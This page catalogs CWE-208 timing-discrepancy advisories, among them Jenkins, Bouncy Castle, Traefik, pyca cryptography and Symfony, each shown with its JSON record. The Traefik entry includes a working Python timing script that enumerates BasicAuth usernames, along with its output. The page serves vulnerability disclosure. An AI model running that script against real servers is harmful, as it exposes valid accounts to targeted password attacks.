CWE-208
AllowedObservable Timing Discrepancy
Abstraction: Base · Status: Incomplete
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
401 vulnerabilities reference this CWE, most recent first.
GHSA-FPJ7-9XM6-8HGR
Vulnerability from github – Published: 2022-01-21 23:38 – Updated: 2023-05-24 14:00Jenkins Configuration as Code Plugin prior to 1.55.1, 1.54.1, 1.53.1, and 1.47.1 does not use a constant-time comparison when checking whether two authentication tokens are equal.
This could potentially allow attackers to use statistical methods to obtain a valid authentication token.
Configuration as Code Plugin 1.55.1, 1.54.1, 1.53.1, and 1.47.1 now uses a constant-time comparison when validating authentication tokens.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "1.55"
},
{
"fixed": "1.55.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.55"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "1.54"
},
{
"fixed": "1.54.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.54"
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "1.48"
},
{
"fixed": "1.53.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.jenkins:configuration-as-code"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.47.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23106"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-20T14:42:40Z",
"nvd_published_at": "2022-01-12T20:15:00Z",
"severity": "LOW"
},
"details": "Jenkins Configuration as Code Plugin prior to 1.55.1, 1.54.1, 1.53.1, and 1.47.1 does not use a constant-time comparison when checking whether two authentication tokens are equal.\n\nThis could potentially allow attackers to use statistical methods to obtain a valid authentication token.\n\nConfiguration as Code Plugin 1.55.1, 1.54.1, 1.53.1, and 1.47.1 now uses a constant-time comparison when validating authentication tokens.",
"id": "GHSA-fpj7-9xm6-8hgr",
"modified": "2023-05-24T14:00:21Z",
"published": "2022-01-21T23:38:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23106"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/configuration-as-code-plugin/commit/4f425675edf77d382a6fd10890f1a704ff3b2277"
},
{
"type": "WEB",
"url": "https://github.com/CVEProject/cvelist/blob/00bfb5abeecc9f553a2f42954ee540e493498ee9/2022/23xxx/CVE-2022-23106.json"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/configuration-as-code-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-01-12/#SECURITY-2141"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/01/12/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Observable Discrepancy and Observable Timing Discrepancy in Jenkins Configuration as Code Plugin"
}
GHSA-FRJJ-V5W4-68PC
Vulnerability from github – Published: 2026-10-02 09:31 – Updated: 2026-10-02 09:31In Bouncy Castle for Java before 1.86, NTRU reduced secret values with the % operator in three helpers whose reference implementations are deliberately division-free, so each reduction was carried out by an integer division whose latency depends on the secret operand. Polynomial.modQ divided by a variable divisor, which a compiler cannot strength-reduce to a multiply the way it can a constant one, so it emitted a division on every call including on the decapsulation path where the dividend derives from the private key; Polynomial.mod3 and NTRUSampling.mod3 divided the secret key polynomials f and g during key generation, the message polynomials r and m during encapsulation, and coefficients recovered during decapsulation. An attacker able to measure that timing can recover information about the NTRU private key. modQ now masks, which is exact because q is always a power of two, and mod3 uses the reference implementation's division-free fold and select; the results are unchanged.
{
"affected": [],
"aliases": [
"CVE-2026-18036"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T08:17:01Z",
"severity": "HIGH"
},
"details": "In Bouncy Castle for Java before 1.86, NTRU reduced secret values with the % operator in three helpers whose reference implementations are deliberately division-free, so each reduction was carried out by an integer division whose latency depends on the secret operand. Polynomial.modQ divided by a variable divisor, which a compiler cannot strength-reduce to a multiply the way it can a constant one, so it emitted a division on every call including on the decapsulation path where the dividend derives from the private key; Polynomial.mod3 and NTRUSampling.mod3 divided the secret key polynomials f and g during key generation, the message polynomials r and m during encapsulation, and coefficients recovered during decapsulation. An attacker able to measure that timing can recover information about the NTRU private key. modQ now masks, which is exact because q is always a power of two, and mod3 uses the reference implementation\u0027s division-free fold and select; the results are unchanged.",
"id": "GHSA-frjj-v5w4-68pc",
"modified": "2026-10-02T09:31:19Z",
"published": "2026-10-02T09:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18036"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/9c9ad88b6003bb6230d2434bd892cc1e95b294e4"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9018036"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-FV5R-GP2C-7MWV
Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-12 21:31A timing side-channel vulnerability exists in the RSA OAEP decryption implementation. A privileged local attacker with access to the TPM command interface may be able to exploit timing differences to recover information that could allow decryption of ciphertexts encrypted to TPM-managed RSA keys, including the RSA Endorsement Key (EK), including import blobs, credential blobs, and session salts. Under certain conditions, this may also enable the forgery of TPM 2.0 attestations. Refer to TCGVRT0011.
{
"affected": [],
"aliases": [
"CVE-2026-6727"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T16:17:34Z",
"severity": "MODERATE"
},
"details": "A timing side-channel vulnerability exists in the RSA OAEP decryption implementation. A privileged local attacker with access to the TPM command interface may be able to exploit timing differences to recover information that could allow decryption of ciphertexts encrypted to TPM-managed RSA keys, including the RSA Endorsement Key (EK), including import blobs, credential blobs, and session salts. Under certain conditions, this may also enable the forgery of TPM 2.0 attestations. Refer to TCGVRT0011.",
"id": "GHSA-fv5r-gp2c-7mwv",
"modified": "2026-08-12T21:31:28Z",
"published": "2026-08-11T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6727"
},
{
"type": "WEB",
"url": "https://trustedcomputinggroup.org/about/security"
},
{
"type": "WEB",
"url": "https://trustedcomputinggroup.org/wp-content/uploads/Extended-vrt0010-11-guidance_V1.pdf"
},
{
"type": "WEB",
"url": "https://trustedcomputinggroup.org/wp-content/uploads/VRT0011-Advisory_Final-1.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FW6M-5FQ2-8FQR
Vulnerability from github – Published: 2025-08-29 12:31 – Updated: 2025-08-29 12:31Padding oracle attack vulnerability in Oberon microsystem AG’s ocrypto library in all versions since 3.1.0 and prior to 3.9.2 allows an attacker to recover plaintexts via timing measurements of AES-CBC PKCS#7 decrypt operations.
{
"affected": [],
"aliases": [
"CVE-2025-7071"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T10:15:32Z",
"severity": "MODERATE"
},
"details": "Padding oracle attack vulnerability in Oberon microsystem AG\u2019s ocrypto library in all versions since 3.1.0 and prior to 3.9.2 allows an attacker to recover plaintexts via timing measurements of AES-CBC PKCS#7 decrypt operations.",
"id": "GHSA-fw6m-5fq2-8fqr",
"modified": "2025-08-29T12:31:11Z",
"published": "2025-08-29T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7071"
},
{
"type": "WEB",
"url": "https://www.oberon.ch/security-advisories/cve-2025-7071"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G3HG-J4JV-CWFR
Vulnerability from github – Published: 2026-03-20 15:43 – Updated: 2026-03-20 15:43Summary
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41
- https://github.com/traefik/traefik/releases/tag/v3.6.11
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration. ### Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames. Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution. Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times. ### PoC Environment: - Traefik v3.6.9 - k3s v1.34.5 Configuration:apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
name: basicauth
namespace: traefik-poc
spec:
basicAuth:
secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-basicauth
annotations:
traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
ingressClassName: traefik
rules:
- http:
paths:
- path: /protected
pathType: Prefix
backend:
service:
name: whoami
port:
number: 80
PoC Script:
#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
times = []
for _ in range(SAMPLES):
start = time.perf_counter()
requests.get(TARGET, auth=(username, password), timeout=5)
elapsed = time.perf_counter() - start
times.append(elapsed)
return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
median = measure_time(user)
if median > 0.05: # bcrypt threshold
status = "[+] EXISTS (slow - bcrypt verification)"
else:
status = "[-] NOT FOUND (fast - immediate return)"
print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results:
Target: http://10.10.10.7:30080/protected
Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s
[-] NOT FOUND (fast - immediate return): root | median=0.0006s
[-] NOT FOUND (fast - immediate return): test | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x
### Impact
- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)
- **Impact:**
- Attackers can enumerate valid usernames without authentication
- Enables targeted password brute-force attacks against confirmed accounts
- Exposes information about system user structure
- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:
- BasicAuth middleware enabled
- Attacker able to make requests to protected endpoints
- Network access to measure response times
- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times
- **Privileges Required:** None
- **User Interaction:** None
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.40"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.10"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-ea.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32595"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T15:43:13Z",
"nvd_published_at": "2026-03-20T11:18:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a potential vulnerability in Traefik\u0027s BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA timing attack vulnerability exists in Traefik\u0027s BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn\u0027t exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt\u0027s design\n- User doesn\u0027t exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = measure_time(user)\n if median \u003e 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik\u0027s BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-g3hg-j4jv-cwfr",
"modified": "2026-03-20T15:43:14Z",
"published": "2026-03-20T15:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32595"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.41"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration"
}
GHSA-G6CJ-PR64-35W5
Vulnerability from github – Published: 2026-08-03 21:17 – Updated: 2026-08-03 21:17Summary
pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.
Introduced in 44.0.0. Fixed in 50.0.0.
Details
Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:
- invalid RSA padding →
Decryption failed - valid padding, bad key length →
Invalid key size (N) for AES., disclosingN - correct length, wrong key →
Invalid padding bytes. - the real key → plaintext
Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts.
Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.
Fix
Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work.
Not addressed by this fix
EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.
Credit
Reported by @X1AOxiang.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "44.0.0"
},
{
"fixed": "50.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69247"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-209"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:17:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`\u0027s `encryptedKey` in several\ndistinguishable ways, one of which disclosed the exact length recovered from the\nRSA operation. The same distinction was also observable by timing. An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic plaintext of\npseudorandom length, so the error channel does not distinguish conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively at high volume, such as\nan S/MIME gateway or mail filter.\n\n### Fix\n\nPer RFC 3218, the content-encryption algorithm is now resolved before the\nprivate key is used, so the expected key length is known in advance. If the RSA\ndecryption fails or recovers a key of the wrong length, a random key of the\nexpected length is substituted and decryption continues down an identical path.\nAll failures now report identically and perform the same work.\n\n### Not addressed by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries per byte, without recovering any key, on every backend. This\nis a property of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library, and is now documented.\n\n### Credit\n\nReported by @X1AOxiang.",
"id": "GHSA-g6cj-pr64-35w5",
"modified": "2026-08-03T21:17:00Z",
"published": "2026-08-03T21:17:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/15369"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing"
}
GHSA-G97C-JFX6-XVXH
Vulnerability from github – Published: 2022-05-17 03:25 – Updated: 2023-08-03 21:48Symfony 2.3.x before 2.3.35, 2.6.x before 2.6.12, and 2.7.x before 2.7.7 might allow remote attackers to have unspecified impact via a timing attack involving the (1) Symfony/Component/Security/Http/RememberMe/PersistentTokenBasedRememberMeServices or (2) Symfony/Component/Security/Http/Firewall/DigestAuthenticationListener class in the Symfony Security Component, or (3) legacy CSRF implementation from the Symfony/Component/Form/Extension/Csrf/CsrfProvider/DefaultCsrfProvider class in the Symfony Form component.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/form"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/form"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/form"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security-http"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security-http"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8125"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-03T21:48:26Z",
"nvd_published_at": "2015-12-07T20:59:00Z",
"severity": "HIGH"
},
"details": "Symfony 2.3.x before 2.3.35, 2.6.x before 2.6.12, and 2.7.x before 2.7.7 might allow remote attackers to have unspecified impact via a timing attack involving the (1) `Symfony/Component/Security/Http/RememberMe/PersistentTokenBasedRememberMeServices` or (2) `Symfony/Component/Security/Http/Firewall/DigestAuthenticationListener` class in the Symfony Security Component, or (3) legacy CSRF implementation from the `Symfony/Component/Form/Extension/Csrf/CsrfProvider/DefaultCsrfProvider` class in the Symfony Form component.",
"id": "GHSA-g97c-jfx6-xvxh",
"modified": "2023-08-03T21:48:26Z",
"published": "2022-05-17T03:25:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8125"
},
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/pull/16630"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/form/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://symfony.com/blog/cve-2015-8125-potential-remote-timing-attack-vulnerability-in-security-remember-me-service"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2015-8125"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200228050051/http://www.securityfocus.com/bid/77692"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-December/173271.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-December/173300.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3402"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/77692"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Symfony Vulnerable to Timing Attack"
}
GHSA-GC66-2JQ6-66C6
Vulnerability from github – Published: 2024-08-22 18:31 – Updated: 2024-08-23 00:31An issue was discovered in Matrix libolm (aka Olm) through 3.2.16. The AES implementation is vulnerable to cache-timing attacks due to use of S-boxes. This is related to software that uses a lookup table for the SubWord step. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2024-45191"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-22T16:15:10Z",
